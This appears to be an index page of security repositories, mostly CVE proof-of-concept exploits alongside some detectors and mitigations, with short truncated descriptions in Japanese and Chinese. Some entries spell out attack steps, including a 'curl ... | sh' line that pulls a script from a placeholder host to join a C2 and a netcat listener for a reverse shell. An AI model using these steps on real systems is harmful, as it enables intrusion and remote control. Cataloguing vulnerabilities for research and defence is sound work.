CVE-2026-1731

CVE-2026-1731 Blind RCE PoC 影響を受けるバージョン: Privileged Remote Access : = 24.3.4 Remote Support : = 25.3.1 詳細については、attackerkb.com による分析を読むことをお勧めします。 ビルド方法 この PoC をビルドするには、以下のツールが必要です: Git、rust 1. リポジトリをクローンします git clone https://github.com/jakubie07/CVE-2026-1731.git 2. ディレクトリに移動してビルドします cd...

jfrog-CVE-2023-43786-libX11_DoS

CVE-2023-43786 概念実証（Proof-of-Concept） 概要 これは、libX11 のサービス拒否（DoS）脆弱性 CVE-2023-43786 の概念実証（PoC）です。 この PoC は整数オーバーフローを引き起こし、無限ループを発生させます。 影響を受けるバージョンは、libX11 1.8.6 以下および libXpm 3.5.16 です。 詳細な理解のためには、付随するブログ記事をご覧ください。 依存関係 脆弱性のあるバージョンの libXpm と libX11 xpmutils がインストールされていること 使用方法 1. xpmutils...

CVE-2026-1457

CVE-2026-1457：TP-Link VIGI C385 认证远程代码执行漏洞 概述 CVE-2026-1457 是 TP-Link VIGI C385 V1 网络 API 中的一个认证缓冲区溢出漏洞。该漏洞允许已认证的攻击者执行远程代码执行（RCE）。 CVSS v4.0 评分：8.5（高危） CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 受影响产品 产品型号| 受影响版本 ---|--- VIGI C385 V1| 3.1.1 Build 251124 Rel.50371n 漏洞详情 漏洞位置...

codeql-sample-polkit

-- coding: utf-8 - - polkit pkexec バグ 概要 このリポジトリは、CodeQLを使用してpolkit pkexecバグを調査します。 以下が含まれます: データベース構築の手順 生成されたデータベース このバグを見つけるためのアプローチを示す一連のクエリ 完了済み: polkitソース/データベースの構築 脆弱なソースに対するcodeqlクエリ CFGの図解 未完了: パッチ適用済みソースも処理するためのcodeqlクエリの拡張 コマンドラインの手順 バグ Polkit pkexecバグ...

CVE-2026-30695

CVE-2026-30695 - Zucchetti Axess における XSS 概要 Zucchetti Axess アクセス制御デバイス（XA4、X3/X3BIO、X4、X7、XIO、i-door、i-door+）の Web ベース設定インターフェースに、クロスサイトスクリプティング（XSS）の脆弱性が存在します。 この脆弱性は、/filemanager.cgi エンドポイントの dirBrowse パラメータにおけるユーザー入力のサニタイズ処理が不適切であることに起因します。認証された攻撃者は、管理者ユーザーのコンテキストで実行される任意の JavaScript...

log4j

log4j-detect 「Log4j」Javaライブラリの脆弱性（CVE-2021-44228）をURLリストに対してマルチスレッドで検出するシンプルなPython 3スクリプト このスクリプトは takito1812/log4j-detect をベースにしています By ExodataCyberdefense Python 3で開発されたスクリプト「log4j-detect.py」は、指定されたURLリストがCVE-2021-44228に対して脆弱かどうかを検出する役割を担います。...

CVE-2025-41244-PoC

CVE-2025-41244 PoC VMware Aria Operations &1" VERSIONEND done get-versions.sh からの抜粋 119〜124行目: getversion "/\S+/httpd-prefork|httpd|httpd2-prefork$|\s" -v getversion "/usr/bin|sbin/apache\S" -v getversion "/\S+/mysqld$|\s" -V getversion ".?/\Snginx$|\s" -v getversion "/\S+/srm/bin/vmware-dr$|\s"...

CVE-2026-31816-rshell

CVE-2026-31816 リバースシェルエクスプロイト 概要 このツールはCVE-2026-31816を悪用して、標的のBudibaseサーバーにリバースシェル接続を確立します。 攻撃チェーン : 認証バイパス → DATASOURCEプラグインのアップロード → サーバーサイドコード実行 → リバースシェル 要件 Python 3.6以上 requestsライブラリ（pip install requests） CVE-2026-31816の影響を受ける標的Budibaseサーバー 使用方法 基本手順 1. 攻撃者マシンでリスナーを起動 nc -lvnp 4444 2...

CVE-2025-56243

CVE-2025-56243 - PuneethReddyHC / イベント管理システム v1.0 における反射型XSS タイトル: register.php の eventid パラメータを介した反射型クロスサイトスクリプティング XSS ベンダー / リポジトリ: PuneethReddyHC / event-management 影響を受けるバージョン: 1.0 テスト時点のブランチ/タグ master 報告者: Hafiz Pradana Gemilang 開示状況: ベンダーに非公開で通知済み — ユーザーの安全のため、エクスプロイトPoCは非公開としています。...

CVE-2025-52021

CVE-2025-52021 — PuneethReddyHC / Online Shopping System Advanced v1.0 における時間ベースのブラインドSQLインジェクション CVE: CVE-2025-52021 タイトル: editproduct.php の productid パラメータを介した時間ベースのブラインドSQLインジェクション ベンダー / リポジトリ: PuneethReddyHC — https://github.com/PuneethReddyHC/online-shopping-system-advanced 影響を受けるバージョン:...

CVE-2024-55457-PoC

CVE-2024-55457-PoC MasterSAM Star Gate v11 は、エンドポイント /adama/adama/downloadService を介したディレクトリトラバーサル攻撃に対して脆弱です。攻撃者は file パラメータを操作してサーバー上の任意のファイルにアクセスすることでこの脆弱性を悪用でき、機密情報の漏洩につながる可能性があります。 トラブルシューティング - ログのダウンロード機能でログをダウンロードする役割を担うAPIでは、アプリケーションは file...

CVE-2026-31891

MongoLite 聚合优化器中通过 toJsonExtractRaw 实现的 SQL 注入 漏洞类别 ：SQL 注入（CWE-89） 产品 ：Cockpit CMS（核心版） 受影响版本 ：2.13.4，以及自聚合优化器引入以来可能的所有版本 已测试的 Docker 镜像 ：cockpithq/cockpit:core-2.13.4 源代码提交 ：7fe563023b7fae854c857d2e2dc0878ef28fbb5f（标签 2.13.4） GitHub ：https://github.com/Cockpit-HQ/Cockpit 发现日期 ：2026-02-28 CVSS 评...

CVE-2026-35616-detector.py

CVE-2026-35616 - FortiClient EMS 脆弱性検出ツール 説明 このツールは、FortiClient EMS サーバーが CVE-2026-35616 に対して脆弱かどうかを検出します。これは、バージョン 7.4.5 から 7.4.6 に影響する重大な不適切なアクセス制御の脆弱性です。 CVSS スコア: 9.1（緊急） CWE: CWE-284（不適切なアクセス制御） ステータス: 実環境で活発に悪用されています citation:3citation:7 この脆弱性により、認証されていない攻撃者 が保護された API...

CVE-2025-52136

CVE-2025-52136 https://github.com/ricardojoserf/emqx-RCE 原利用方式通过上传emqx插件，在插件模板的代码中添加Erlang os模块调用系统命令执行RCE 出网环境，环境默认存在curl，可以直接通过curl http://xx.xx.xx.xx/1.sh | sh上线C2 目标不出网时，由于EMQX本身即为MQTT消息服务器，因此可以直接配合插件上传，在EMQX服务器执行上传的可执行程序 使用EMQX做MQTT消息队列核心，部署的程序直接作为一个“系统命令代理”，订阅客户端发送的命令，再把执行结果发布回主题。 设计思路...

WSUS-RCE-Mitigation-59287

🚨 サイバーセキュリティ重大警報: WSUS における RCE CVE-2025-59287 🚨 作成者およびクレジット: @esteban11121 このガイドは、コミュニティがこの脆弱性を迅速に緩和できるよう支援するために作成されました。 ステータス: 活発な悪用 In-the-Wild が確認済み。 これは WSUS サーバーに影響を与える リモートコード実行 RCE の脆弱性であり、認証されていない攻撃者が SYSTEM 権限を取得することを可能にします。直ちに 緊急 OOB パッチ適用措置が必要です。 詳細| 値 ---|--- 識別子| CVE-2025-59287 CVSS...

CVE-2026-31431

CVE-2026-31431（复制失败）检查器 检查 Linux 主机是否存在 CVE-2026-31431 漏洞并应用缓解措施。 文件 checkcve202631431.yml - 用于验证和修补的 Ansible Playbook revertcve202631431.yml - 用于撤销缓解措施的 Ansible Playbook runcheck.sh - 用于在本地或远程执行验证的脚本 runrevert.sh - 用于在本地或远程撤销更改的脚本 执行示例 1. 验证漏洞（runcheck.sh） ./runcheck.sh 选择 'l' 表示本地 或直接执行：...

WEAPONIZING-CVE-2024-4367

WEAPONIZING-CVE-2024-4367 CVE-2024-4367 は PDF.js における重大な脆弱性（CVSS 9.8）であり、PDF ファイル内の FontMatrix オブジェクトに対する型チェックの不備により、任意の JavaScript コード実行が可能になります。 CVE-2024-4367 エクスプロイトウィザード：ユーザーガイド CVE 識別子| CVE-2024-4367 ---|--- 深刻度| 重大（CVSS スコア：9.8） 脆弱性| FontMatrix オブジェクトに対する型チェックの不備による PDF.js での任意の JavaScript...

lsm_bpf_check_argc0

ARGC0 LSM BPF チェッカー argc == 0 でのプログラム実行（例: pwnkit（CVE-2021-4034））を防ぐためのシンプルな LSM BPF プログラムです。 すべての exec システムコールが argc = 1 で呼び出されることを確認するだけのシンプルなチェックを行います。 このチェックは Ariadne Conill 氏の パッチ に基づいています。 ビルド方法 Ubuntu の場合 $ sudo apt-get install libc6-dev-i386 libbpf0 libbpf-dev Fedora 35 の場合 $ sudo dnf...

CSRF-to-RCE-on-Backdrop-CMS

Backdrop CMS 1.20 における CSRF から RCE への昇格 この PoC は、Backdrop CMS バージョン 1.20 の CSRF を悪用し、RCE に昇格させる方法を示しています。 CVE ID CVE-2021-45268 説明 Backdrop CMS バージョン 1.20 では、サイトにアップロードされた ZIP ファイルを介してプラグインを追加できます。また、CSRF...

HTB-Silentium-Writeup

HTB - Silentium 攻略記 マシン情報 名前: Silentium OS: Linux 難易度: Easy CVE: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110 列挙 Nmap スキャン nmap -sC -sV -p- --min-rate 5000 -oN nmap.txt 開放ポート: 22 SSH、80 HTTP 仮想ホストstaging.silentium.htb は Flowise 3.0.5 を実行しています 初期侵入 — Flowise RCE CVE-2025-58434 —...